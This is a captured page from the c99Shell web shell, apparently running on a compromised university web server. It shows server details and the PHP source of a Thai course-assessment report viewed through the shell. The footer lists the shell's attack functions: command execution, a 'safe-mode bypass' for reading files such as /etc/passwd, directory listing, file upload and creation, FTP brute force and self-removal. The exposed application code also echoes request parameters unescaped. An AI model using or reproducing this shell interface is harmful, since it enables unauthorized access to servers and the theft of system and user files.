!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess_OLD/admin/   drwxr-xr-x
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     resultRQCourseTe1.php (26.3 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
include_once "../../class/clsDB.php";
include_once 
"../../class/clsConnection.php";
include_once 
"../global.php";
include_once 
"../link/function.php";
include_once 
"../class/clsReg_SysSemesterDes.php";
include_once 
"../class/clsReg_Program.php";
include_once 
"../class/clsRegistration.php";
include_once 
"../class/clsCourseAssess.php";
include_once 
"../class/clsHoldCourse.php";
include_once 
"../class/clsClassAssess.php";
include_once 
"../class/clsClassOpenForAssess.php";
include_once 
"../class/clsClassInStructorAssess.php";
include_once 
"../class/clsOfficerAssess.php";
include_once 
"../class/clsDefineAssessment.php";
include_once 
"../class/clsAssessForm.php";
include_once 
"../class/clsDoAssessment.php";
include_once 
"../class/clsResultRQ.php";
include_once 
"../class/clsSectionAll.php";
include_once 
"../class/clsSectionRQ.php";
include_once 
"../class/clsHeaderQuestion.php";
include_once 
"../class/clsHeaderScore.php";
include_once 
"../class/clsDetailScore.php";
include_once 
"../class/clsRadioQuestion.php";
include_once 
"../class/clsSectionAll.php";

$oCR = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_REG'], $GLOBALS['USER_REG'], $GLOBALS['PASSWORD_REG']);

$oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

$oReg = new Registration($oCA);
$oCourse = new CourseAssess($oCA);
$oClass = new ClassAssess($oCA);
$oClsOpen = new ClassOpenForAssess($oCA);
$oCIS = new ClassInStructorAssess($oCA);
$oOFA = new OfficerAssess($oCA);
$oHC = new HoldCourse($oCA);
$oAF = new AssessForm($oCA);
$oDo = new DoAssessment($oCA);

$oCourse->SearchByKey($courseId);
$oCourse->GetRecord();
$oClass->SearchByKey($classId);
$oClass->GetRecord();
$oOFA->SearchByKey($officerId);
$oOFA->GetRecord();        

$oProg = new Program($oCR);
$oProg->SearchByKey($oClass->programId);
$oProg->GetRecord();

$numAllCourseReg=0;
$oReg->SearchRegClassIdByClassId($classId);
while(
$oReg->GetRecord()){
    
//echo "<br> oReg->classId = ".$oReg->classId;
    //$oCIS->SearchByClassIdOfficerIdSection($oReg->classId,$officerId,$oClass->section);
    
$oCIS->SearchByClassIdOfficerId($oReg->classId,$officerId);
    if(
$oCIS->GetRecord()){
        
$numAllCourseReg++;
    }
}
//echo "numAllCourseReg = ".$numAllCourseReg;
//echo "defineid = ".$defineid;
$numCourseDoAss 0;
$oDo->SearchByDefineIdClassIdOfficeridSection($defineid,$courseId,$officerId,$oClass->section);
while(
$oDo->GetRecord()){
    
$numCourseDoAss++;
}
//echo "numCourseDoAss = ".$numCourseDoAss;

$oAF->RSAssessFormByAssid($assid);
$oAF->GetRecord();

$oSse = new SysSemesterDes($oCR);
$oSse->SearchByKey($semester);
$oSse->GetRecord();

$oDA = new DefineAssessment($oCA);
$oDA->SearchByDefineid($defineid);
$oDA->GetRecord();

//ค้นหาคำถามปลายเปิดในแบบประเมินนี้ sectionTQid = 1
$oSA = new SectionAll($oCA);
$CntSTQid $oSA->RSCountSectionTQid($assid);
//echo "sectionTQid = ".$CntSTQid;
?>
<title>รายงานทั่วไปของการประเมิน โดยจำแนกตามลักษณะคำถาม/ส่วน/หัวข้อการประเมิน</title>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<table width="746" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr> 
    <td width="746"><br>
<div id="tabmargin">
       <form name="pc" method="post" action="<?php echo $PHP_SELF;?>" enctype="multipart/form-data">
          <div align="center">
            <table width="658" border="0">
              <tr> 
                <? if($CntSTQid != 0) { ?>
                <td width="455" height="29" ><div align="right"></div></td>
                <td width="110"  background="../picture/coverBG.gif"><div align="center"><img src="../picture/RQ.png"><font size="2"> คำถามปลายปิด</font></div></td>
                <td width="110" background="../picture/coverBG1.gif"><div align="center"><a  href="resultTQCourseTe.php?defineid=<? echo $defineid ?>&assid=<? echo $assid ?>&officerId=<? echo $officerId ?>&officerCode=<? echo $officerCode ?>&classId=<? echo $classId ?>&courseId=<? echo $courseId ?>&acadYear=<? echo $acadYear?>&semester=<? echo $semester ?>"><img src="../picture/TQ.png" border="0"><font size="2">  คำถามปลายเปิด</font></a></div></td>
                <? } else { ?>
                <td width="455" height="29" ><div align="right"></div></td>
                <td width="110" >&nbsp; </td>
                <td width="110"  background="../picture/coverBG.gif"><div align="center"><img src="../picture/RQ.png"><font size="2"> คำถามปลายปิด</font></div></td>
                <? ?>
              </tr>
            </table>
          </div>
          <table width="655" align="center" cellpadding="1" cellspacing="1"  bgcolor="#0080C0">
            <tr bgcolor="#FFFFFF">
              <td>
              <table width="649" align="center" border="0" cellpadding="0" cellspacing="1">
                  <tr> 
                    <td width="647"> <table width="646" border="0" align="center">
                        <tr>
                          <td height="10"></td>
                        </tr>
                      </table>
                      <table width="612" align="center"  cellpadding="1" cellspacing="1" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_6'];?>">
                        <tr> 
                          <td height="22" align="center"><font size="2"><span class = "fontMark5">ผลการประเมิน<? echo $oAF->nameAss ?></span></font></td>
                        </tr>
                        <tr> 
                          <td width="606" height="22" align="center"><font size="2"> 
                            <span class = "fontMark6"> ส่วนของคำถามปลายปิด : ชนิดให้เลือกตอบอย่างใดอย่างหนึ่ง </span></font></td>
                        </tr>
                      </table>
                      <table width="95%" border="0" align="center">
                        <tr>
                          <td><hr></td>
                        </tr>
                      </table>
                      <br> 
                      <table width="596" border="0" align="center">
                        <tr> 
                          <td width="133"><font size="2"><b><img src="../picture/bullet.gif"> 
                            ปีการศึกษา </b></font></td>
                          <td width="155"><font size="2"><b>: </b></font><? echo $acadYear ?> 
                            / <? echo $oSse->semesterName;?></td>
                          <td width="297"></td>
                        </tr>
                        <tr> 
                          <td height="22" <? if(($oClass->programId == 0) || ($oClass->programId == "")){ echo "valign=\"baseline\""; } ?>><font size="2"><b><img src="../picture/bullet.gif"> หลักสูตร</b></font></td>
                          <td colspan="2"><font size="2"><b>: </b></font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">
                            <? if(($oClass->programId == 0) || ($oClass->programId == "")){
                            
$z 0;
                            
$oClsOpen->SearchByClassId($oClass->classId);
                            while(
$oClsOpen->GetRecord()){
                                
$oProg->SearchByKey($oClsOpen->programId);
                                
$oProg->GetRecord();
                                
$arrCls[$z] = $oProg->programName;
                                
$z++;
                            } 
// end while oClsOpen
                            
for($a=0;$a<=$z;$a++){
                                echo 
$arrCls[$a];
                                if(
$a $z-1) echo ",<br> &nbsp;&nbsp;&nbsp;";
                            }
                        }else{
                            
$oProg->SearchByKey($oClass->programId);
                            
$oProg->GetRecord();
                            echo 
$oProg->programName;
                        }
                
?>
                            </font></td>
                        </tr>
                        <tr> 
                          <td width="133"><font size="2"><b><img src="../picture/bullet.gif"> 
                            รหัสรายวิชา</b></font></td>
                          <td width="155"><font size="2"><b>: </b></font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><?php echo $oCourse->courseCode?> 
                            (<?php echo $oCourse->courseCodeEng?>)</font></td>
                          <td width="297"></td>
                        </tr>
                        <tr> 
                          <td height="22"><font size="2"><b><img src="../picture/bullet.gif"> 
                            ชื่อรายวิชา</b></font></td>
                          <td colspan="2"><font size="2"><b>: </b></font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><?php echo $oCourse->courseName?></font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"> 
                            (<?php echo $oCourse->courseNameEng?>)</font></td>
                        </tr>
                        <tr> 
                          <td height="22"><font size="2"><b><img src="../picture/bullet.gif"> 
                            ช่วงเวลาประเมิน</b></font></td>
                          <td colspan="2"><font size="2"><b>: </b></font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><? echo abbreDate(splitDateDb2($oDA->startDate,'/')); ?> 
                            - <? echo abbreDate(splitDateDb2($oDA->endDate,'/'));  ?></font></td>
                        </tr>
                        <tr> 
                          <td height="22"><font size="2"><b><img src="../picture/bullet.gif"> 
                            ประเมินอาจารย์</b></font></td>
                          <td><font size="2"><b>: </b></font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">
                            <?php if($officerId == ""){ ?>
                            <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"><? echo "- ไม่พบรายชื่ออาจารย์ผู้สอน -"?></font> 
                            <? }else{ echo $oOFA->prefixName.$oOFA->officerName."&nbsp;&nbsp;".$oOFA->officerSurname; } ?>
                            </font></td>
                          <td><font size="2"><b><img src="../picture/bullet.gif"> 
                            กลุ่ม : </b></font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><?php echo $oClass->section?></font></td>
                        </tr>
                        <tr> 
                          <td height="22" colspan="2"><font size="2"><b><img src="../picture/bullet.gif"> 
                            จำนวนนักศึกษาที่ลงทะเบียนเรียน&nbsp; : </b><? echo $numAllCourseReg ?> 
                            </font></td>
                          <td height="22"><font size="2"><b><img src="../picture/bullet.gif"> 
                            ร้อยละของนักศึกษาที่เข้ามาประเมิน : </b></font><font size="2"> 
                            <? $percentDo = ($numCourseDoAss/$numAllCourseReg)*100;  printf("%.2f",$percentDo); ?></font></td>
                        </tr>
                        <tr> 
                          <td height="22" colspan="2"><font size="2"><b><img src="../picture/bullet.gif"> 
                            จำนวนนักศึกษาที่เข้ามาประเมินผล : </b></font><font size="2"><? echo $numCourseDoAss ?></font></td>
                          <td height="22">&nbsp;</td>
                        </tr>
                      </table>

       <?      
                    $oSA 
= new SectionAll($oCA);
                    
$numSection$oSA->RSCountSectionAll($assid);
                    
$oSA->RSByKeyAss($assid);
                    
$i 1;
                    
$indexSection 1;
                    while (
$oSA->GetRecord()){
                        
/*---------------- กรณีที่เลือกเป็นคำถามชนิดปลายปิด------------------*/
                        
if($oSA->sectionRQid != '0'){    
                            
//สร้าง oSRQ แสดงหัวข้อของส่วนการประเมิน
                            
$oSRQ = new SectionRQ($oCA);
                            
$oSRQ->RSSectionRQAll($assid,$oSA->sectionRQid);
                            while(
$oSRQ->GetRecord()){
                                
$oHQ = new HeaderQuestion($oCA);
                                
$oHQ->RSHeaderAllBySection($assid,$oSA->sectionRQid);
                                
$oHQ->GetRecord();                
                                
$oHS = new HeaderScore($oCA);
                                
$oHS->RSHeadSAll($oHQ->HSid);
                                
$oHS->GetRecord();        
 
?>
                              <!---------------------------------  Tab1 คำถามปลายปิด -------------------------------------------->
                              
                      <table width="582" align="center">
                        <tr> 
                          <td colspan="4">&nbsp;</td>
                        </tr>
                        <tr> 
                          <td colspan="3" valign="top"><font size="2"><span class = "fontMarkTD1"><? if($numSection == '1') { echo "คำอธิบาย"; } else { echo "ส่วนที่ ".$indexSection; }?></span> : </font></td>
                          <td width="518"><font size="2"><? echo $oSRQ->topicSectionRQ ?></font></td>
                        </tr>
                      </table>
                      <br>
                               <table width="352" border="0" align="center" cellpadding="1" cellspacing="1" bordercolor="<?php echo $GLOBALS["COLOR_BORDER_TABLE_1"];?>">
                               <tr> 
                                <td width="348" height="22"> 
                                <fieldset>
                                    <legend> <font color="<?php echo $GLOBALS["COLOR_FONT_9"]; ?>" size="2">เกณฑ์ประเมินหรือพิจารณาค่าเฉลี่ย</font></legend>
                                    <br>
                                    <table width="86%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="silver">
                                          <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_7'];?>"> 
                                            <td width="43%" align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">ช่วงคะแนน</font></td>
                                            <td width="57%" align="center">
                                            <?php if($oHS->HStext == "") { ?> 
                                                     <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"> ** ยังไม่ได้กำหนด ** </font>
                                            <? } else{  ?>
                                                    <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><? echo $oHS->HStext ?></font>
                                            <? ?>
                                            </td>
                                          </tr>
                                     <? 
                                            $ch 
0;
                                            
$oDS = new DetailScore($oCA);
                                              
$oDS->RSDetailSAll($oHS->HSid);
                                              while(
$oDS->GetRecord()){
                                    
?>
                                             <tr> 
                                                  <td align="center" bgcolor="#FFFFFF"><? echo $oDS->CTFirst ?> - <? echo $oDS->CTLast ?></td>
                                                <td bgcolor="#FFFFFF" align="center"><? echo $oDS->DStext ?></td>
                                             </tr>
                                    <? $ch++;
                                        } 
// end oDS 
                                    
if($ch == 0){
                                    
?>
                                        <tr bgcolor="#FFFFFF">
                                            <td colspan="2" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"> ** ยังไม่ได้กำหนด ** </font></td>
                                        </tr>
                                    <? ?>
                                    </table>   <br>
                                </fieldset>
                             </td>
                            </tr>
                           </table><br>
                        <table width="86%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="silver">
                           <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_2"];?>"> 
                            <td height="20" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><b><? echo $oHQ->HQtext ?></b></font></td>
                            <td width="59" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><b>ค่าเฉลี่ย</b></font></td>
                            <td width="59" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><b>ค่า S.D. </b></font></td>
                           </tr>
                           <?
                            $index1 
1;
                            
$index2 1;
                            
$index_color1 1;
                            
$index_color2 1;
                            
$j=1;
                            
$k=1;
                            
$m=1;
                            
$n=1;
                            
$sumPointRQ 0;
                            
$sumAvgPointRQ  0;
                            
$CntSubQ 0;
                            
$oRQ = new RadioQuestion($oCA);
                            
$oRQ->RSRadioQByKey($assid,$oSA->sectionRQid,1);
                            
//---------->แสดงคำถามชนิดปลายปิดข้อหลัก
                            
while($oRQ->GetRecord()){
    
//                            $oDo = new DoAssessment($oCA);
    //                            $oDo->SearchClassIdByDefineidOfficerid($defineid,$officerId);
    //                            $oDo->GetRecord();
                                //คิดค่าเฉลี่ยของคำถามข้อหลัก  โดยเริ่มนับค่า point ในแต่ละผู้ประิเมินรายข้อ  แล้วนำมาหารกับจำนวนของผู้ประเมินทั้งหมด
                                
$oRRQ = new ResultRQ($oCA);
    
//                            $sumPointRQ = $oRRQ->SumPointByClassIdOfficerIdRQid($oDo->classId,$officerId,$oRQ->RQid);
                                
$sumPointRQ $oRRQ->SumPointByClassIdOfficerIdRQid($defineid,$classId,$officerId,$oRQ->RQid);
                                
$sumAvgPointRQ $sumPointRQ/$numCourseDoAss//ได้ค่าเฉลี่ยหรือค่าเอ็กซ์บาร์        
    
                                //สร้างตัวแปร array เก็บค่าเฉลี่ยที่ได้รายข้อของคำถามข้อหลัก เพื่อนำไปหาผลรวม  โดยไม่นำข้อคำถามข้อหลักที่มีคำถามข้อย่อยไปเก็บ คือที่ CntSubQ = 0
                                
$oCntRQ = new RadioQuestion($oCA);
                                
$CntSubQ $oCntRQ->RSCountSubRQid($assid,$oRQ->RQid,'2');
    
                                
//เก็บค่าผลรวมของค่าเฉลี่ยข้อหลักใส่ array
                                
if($CntSubQ == 0){
                                    
$totalXMQ[$j] = $sumAvgPointRQ;
                                    
//echo "<br> =====> totalXMQ[$j] = ".$totalXMQ[$j];                        
                                    
$j++;                                
                                }
    
                                
$remTmp1 0;
                                
$remTmp2 0;
                                
$sumPow 0;
                                
$sumPowAVG 0;
                                
$numDataM=0;
                                
$SDm 0;
                        
    
//                            $oRRQ->SearchPointByClassIdOfficerIdRQid($oDo->classId,$officerId,$oRQ->RQid);
                                
$oRRQ->SearchPointByClassIdOfficerIdRQid($defineid,$classId,$officerId,$oRQ->RQid);
                                while(
$oRRQ->GetRecord()){
                                    if(
$CntSubQ == 0){
                                        
//echo "<br> sumAvgPointRQ = ".$sumAvgPointRQ;
                                        //echo "<br> oRRQ->point  = ".$oRRQ->point;
                                        //echo "<br> oRQ->RQid = ".$oRQ->RQid;
                                        //echo "<br> -------------------------";
                                        
$remTmp1 = ($oRRQ->point)*($oRRQ->point);
                                        
//echo "<br> remTmp1 = ".$remTmp1;
                                        
$sumPow$remTmp2 $remTmp1;
                                        
$remTmp2 $sumPow;
                                        
//echo "<br> sumPow = ".$sumPow;
                                        
$numDataM++;        
                                    }
                                }    
//end while oRRQ
                                
                                //ค่าผลรวมของคะแนนข้อหลักแต่ละข้อ หารด้วยจำนวนข้อหลักที่ประเมินรายข้อ
                                
$sumPowAVG $sumPow $numDataM;
                                
//echo "<br> sumPowAVG = ".$sumPowAVG;
                                //echo "<br> sumAvgPointRQ        = ".$sumAvgPointRQ;
                                //ได้ค่า SD จากหารากที่สองของผลต่าง sumPowrAVG และ (sumAvgPointRQ    ) กำลังสอง            
                                
$SDm sqrt($sumPowAVG-(($sumAvgPointRQ)*($sumAvgPointRQ)));
    
                                if(
$CntSubQ == 0){                        
                                        
$totalSDMQ[$m] = $SDm;
                                        
$m++;                                
                                }
    
                                if(
$index_color2%== 0){//EEF2FB
                                    
if($index_color1%== 0){
                                        echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_5"].'">';
                                    }else{
                                        echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_4"].'">';
                                    }
                                }else{
                                    if(
$index_color1%== 0){
                                        echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_4"].'">';
                                    }else{
                                        echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_5"].'">';
                                    }
                                }                                    
                  
?>
                             <td height="22"><? echo $index1."." ?> <? echo $oRQ->nameRQ ?></td>
                              <td align="center">
                                <? if($sumAvgPointRQ != '0'printf ("%.2f",$sumAvgPointRQ); ?>
                                <? if(($CntSubQ == '0')&&($numCourseDoAss == '0')) echo "-"?>
                              </td>
                              
                          <td align="center"> 
                            <? if($sumAvgPointRQ != '0'printf ("%.2f",$SDm); ?>
                            <? if(($CntSubQ == '0')&&($numCourseDoAss == '0')) echo "-"?>
                          </td>
                            </tr>
                   <?
                            $sumPointSubRQ 
0;
                            
$sumAvgPointSubRQ 0;
                            
$ocRQ = new RadioQuestion($oCA);
                            
$ocRQ->RSCheckLevel($assid,$oRQ->RQid);
                            while(
$ocRQ->GetRecord()){
    
//                            $oDo = new DoAssessment($oCA);
    //                            $oDo->SearchClassIdByDefineidOfficerid($defineid,$officerId);
    //                            $oDo->GetRecord();
                                        
                                //คิดค่าเฉลี่ยของคำถามข้อย่อย  โดยเริ่มนับค่า point ในแต่ละผู้ประิเมินรายข้อ  แล้วนำมาหารกับจำนวนของผู้ประเมินทั้งหมด
                                
$oRRQ = new ResultRQ($oCA);
                                
$sumPointSubRQ $oRRQ->SumPointByClassIdOfficerIdRQid($defineid,$classId,$officerId,$ocRQ->RQid);
//$sumPointSubRQ = $oRRQ->SumPointByClassIdOfficerIdRQid($classId,$officerId,$ocRQ->RQid);
                                
$sumAvgPointSubRQ $sumPointSubRQ/$numCourseDoAss;
            
                                
//สร้างตัวแปร array เก็บค่าเฉลี่ยที่ได้รายข้อของคำถามข้อย่อย เพื่อนำไปหาผลรวม
                                
$totalXSubQ[$k] = $sumAvgPointSubRQ;
                                
//echo "<br> =====> totalXSubQ[$k] = ".$totalXSubQ[$k];                        
                                
$k++;
            
                                
$remTmp3 0;
                                
$remTmp4 0;
                                
$sumPowSub 0;
                                
$sumPowAVGSub 0;
                                
$numDataSub 0;
                                
$SDsub 0;
                                        
                                
$oRRQ->SearchPointByClassIdOfficerIdRQid($defineid,$classId,$officerId,$ocRQ->RQid);
    
//                            $oRRQ->SearchPointByClassIdOfficerIdRQid($classId,$officerId,$ocRQ->RQid);
                                
while($oRRQ->GetRecord()){
                                    
//คิดค่า S.D. ของแต่ละข้อย่อย
                                    //echo "<br> sumAvgPointRQ = ".$sumAvgPointRQ;
                                    //echo "<br> oRRQ->point  = ".$oRRQ->point;
                                    //echo "<br> oRQ->RQid = ".$oRQ->RQid;
                                    //echo "<br> sumPointRQ = ".$sumPointRQ;
                                    
$remTmp3 = ($oRRQ->point)*($oRRQ->point);
                                    
$sumPowSub $remTmp4 $remTmp3;
                                    
$remTmp4 $sumPowSub;
                                    
$numDataSub++;        
                                }    
//end while oRRQ
                                        
                                //echo "<br> numDataSub = ".$numDataSub;
                                //ค่าผลรวมของคะแนนข้อย่อยแต่ละข้อ หารด้วยจำนวนข้อย่อยที่ประเมินรายข้อ
                                
$sumPowAVGSub $sumPowSub $numDataSub;
                                
//echo "<br> sumPowAVGSub = ".$sumPowAVGSub;
                                //echo "<br> sumAvgPointSubRQ        = ".$sumAvgPointSubRQ;
                                //ได้ค่า SD จากหารากที่สองของผลต่าง sumPowAVG และ (sumAvgPointRQ    ) กำลังสอง            
                                
$SDsub sqrt($sumPowAVGSub-(($sumAvgPointSubRQ)*($sumAvgPointSubRQ)));
                                
//echo "<br> SDsub = ".$SDsub;
            
                                //สร้างตัวแปร array เก็บค่า SD ที่ได้รายข้อของคำถามข้อย่อย เพื่อนำไปหาผลรวม
                                
$totalSDSubQ[$n] = $SDsub;
                                
//echo "<br>************************************************** totalSDSubQ[$n] = ".$totalSDSubQ[$n];                        
                                
$n++;
            
                                if(
$index_color1%== 0){//EEF2FB
                                    
if($index_color2%== 0){
                                        echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_4"].'">';
                                    }else{
                                        echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_5"].'">';
                                    }
                                }else{
                                    if(
$index_color2%== 0){
                                        echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_5"].'">';
                                    }else{
                                        echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_4"].'">';
                                    }
                                }
                                                            
                         
?>
                                <td height="22"><? echo "<img src=\"../picture/blank1.gif\"border=\"0\">".$index1.".".$index2 ?> <? echo $ocRQ->nameRQ ?></td>
                                 
                          <td align="center"> 
                            <? if($sumAvgPointSubRQ != '0'printf("%.2f",$sumAvgPointSubRQ); ?>
                            <? if($numCourseDoAss == '0') echo "-"?>
                          </td>
                                  
                          <td align="center"> 
                            <? if($sumAvgPointSubRQ != '0'printf ("%.2f",$SDsub); ?>
                            <? if($numCourseDoAss == '0') echo "-"?>
                          </td>
                                </tr>
                            <?        
                                  $index2
++;
                                  
$index_color2++;    
                              } 
//end while ocRQ    
                                
$index1++;
                                
$index2 1;
                                
$index_color1++;
    
                            } 
//end while oRQ
    
                            //----------------> รวมค่าเฉลี่ยรวมของคำถามข้อหลัก
                            
$Tmp1 0;
                            
$Tmp2 0;
                            
$CntM $j-1;
                            
$sumTotalXMQ 0;
                            
//echo "<br> CntM = ".$CntM;    
                            
for($runMQ=1;$runMQ<=$CntM;$runMQ++){
                                
//echo "<br> totalXMQ[$runMQ] = ".$totalXMQ[$runMQ];
                                
$Tmp1 $totalXMQ[$runMQ];
                                
//echo "<br> Tmp1 = ".$Tmp1;
                                
$sumTotalXMQ $Tmp2 $Tmp1;
                                
$Tmp2 $sumTotalXMQ;
                                
//echo "<br> * * * * sumTotalXMQ = ".$sumTotalXMQ;                
                            
}
        
                            
//----------------> รวมค่าเฉลี่ยรวมของคำถามข้อย่อย
                            
$Tmp3 0;
                            
$Tmp4 0;
                            
$CntSub $k-1;
                            
$sumTotalXSubQ 0;
                            
//echo "<br> CntSub = ".$CntSub;
                            
for($runSubQ=1;$runSubQ<=$CntSub;$runSubQ++){
                                
//echo "<br> totalXSubQ[$runSubQ] = ".$totalXSubQ[$runSubQ];
                                
$Tmp3 $totalXSubQ[$runSubQ];
                                
//echo "<br> Tmp1 = ".$Tmp1;
                                
$sumTotalXSubQ $Tmp4 $Tmp3;
                                
$Tmp4 $sumTotalXSubQ;
                                
//echo "<br> * * * * sumTotalXSubQ = ".$sumTotalXSubQ;                
                            
}
                            
                            
//รวมค่าเฉลี่ยทั้งหมดหารด้วยจำนวนของค่าเฉลี่ยข้อหลักและข้อย่อย
                            
$sumRealX 0;
                            
$sumRealX = ($sumTotalXMQ $sumTotalXSubQ) / ($CntM $CntSub);
    
                            
//********************************************รวมค่า SD รวมของคำถามข้อหลัก****************************************************
                            
$Tmp5 0;
                            
$Tmp6 0;
                            
$sumTotalSDMQ 0;
                            
$CntSDM $m-1;
                            
//echo "<br> CntSDM = ".$CntSDM;    
                            
for($runSDM=1;$runSDM<=$CntSDM;$runSDM++){
                                
$Tmp5 $totalSDMQ[$runSDM];
                                
$sumTotalSDMQ $Tmp6 $Tmp5;
                                
$Tmp6 $sumTotalSDMQ;
                                
//echo "<br> * * * * sumTotalSDMQ = ".$sumTotalSDMQ;    
                            
}
        
                            
//----------------> รวมค่าเฉลี่ยรวมของคำถามข้อย่อย
                            
$Tmp7 0;
                            
$Tmp8 0;
                            
$sumTotalSDSubQ 0;
                            
$CntSDSub $n-1;
                            
//echo "<br> CntSDSub = ".$CntSDSub;
                            
for($runSDSub=1;$runSDSub<=$CntSDSub;$runSDSub++){
                                
$Tmp7 $totalSDSubQ[$runSDSub];
                                
$sumTotalSDSubQ $Tmp8 $Tmp7;
                                
$Tmp8 $sumTotalSDSubQ;
                                
//echo "<br> * * * * sumTotalSDSubQ = ".$sumTotalSDSubQ;                
                            
}
                            
                            
//รวมค่าเฉลี่ยทั้งหมดหารด้วยจำนวนของค่าเฉลี่ยข้อหลักและข้อย่อย
                            
$sumRealSD 0;
    
                            
//echo "<br> sumTotalSDMQ     = ".$sumTotalSDMQ;
                            //echo "<br> sumTotalSDSubQ = ".$sumTotalSDSubQ;
                            //echo "<br> CntSDM                     = ".$CntSDM;
                            //echo "<br> CntSDSub                 = ".$CntSDSub;
                            
$sumRealSD = ($sumTotalSDMQ $sumTotalSDSubQ) / ($CntSDM $CntSDSub);
                            
//echo "<br> sumRealSD = ".$sumRealSD;
                        
?>
                            <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_1"];?>"> 
                              <td height="22" ><div align="right"><font size="2"><b>ผลรวม</b>&nbsp;</font></div></td>
                              <td align="center"><b><? printf("%.2f",$sumRealX); ?></b></td>
                              <td align="center"><b><? printf("%.2f",$sumRealSD); ?></b></td>
                            </tr>
                          </table>
                          <br> <br> 
     <? 
                    
//end while oSRQ
                 
// end if oSA
                        
$indexSection++;
               } 
//end while oSA 
    
?>
                      <br> </td>
                  </tr>
                </table></td>
            </tr>
          </table>
          </form>
        </div>
        </label>

    <? if($CntSTQid != 0) { ?>
    <table width="699" border="0"  align="center">
        <tr>
          <td width="68" height="27"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><strong>หมายเหตุ 
            : </strong></font></td>
          <td width="668" colspan="2"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">เลือกคลิกข้อความ 
            &quot;<img src="../picture/TQ.png" border="0">
            คำถามปลายเปิด&quot; ที่อยู่ด้านบน เมื่อต้องการดูแบบประเมินในส่วนของคำถาม<u>ปลายเปิด</u> 
            (ให้เลือกได้อย่างตอบอิสระ)</font></td>
        </tr>
      </table>
    <? ?>
    </td>
    </tr>
</table>
</body>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0156 ]--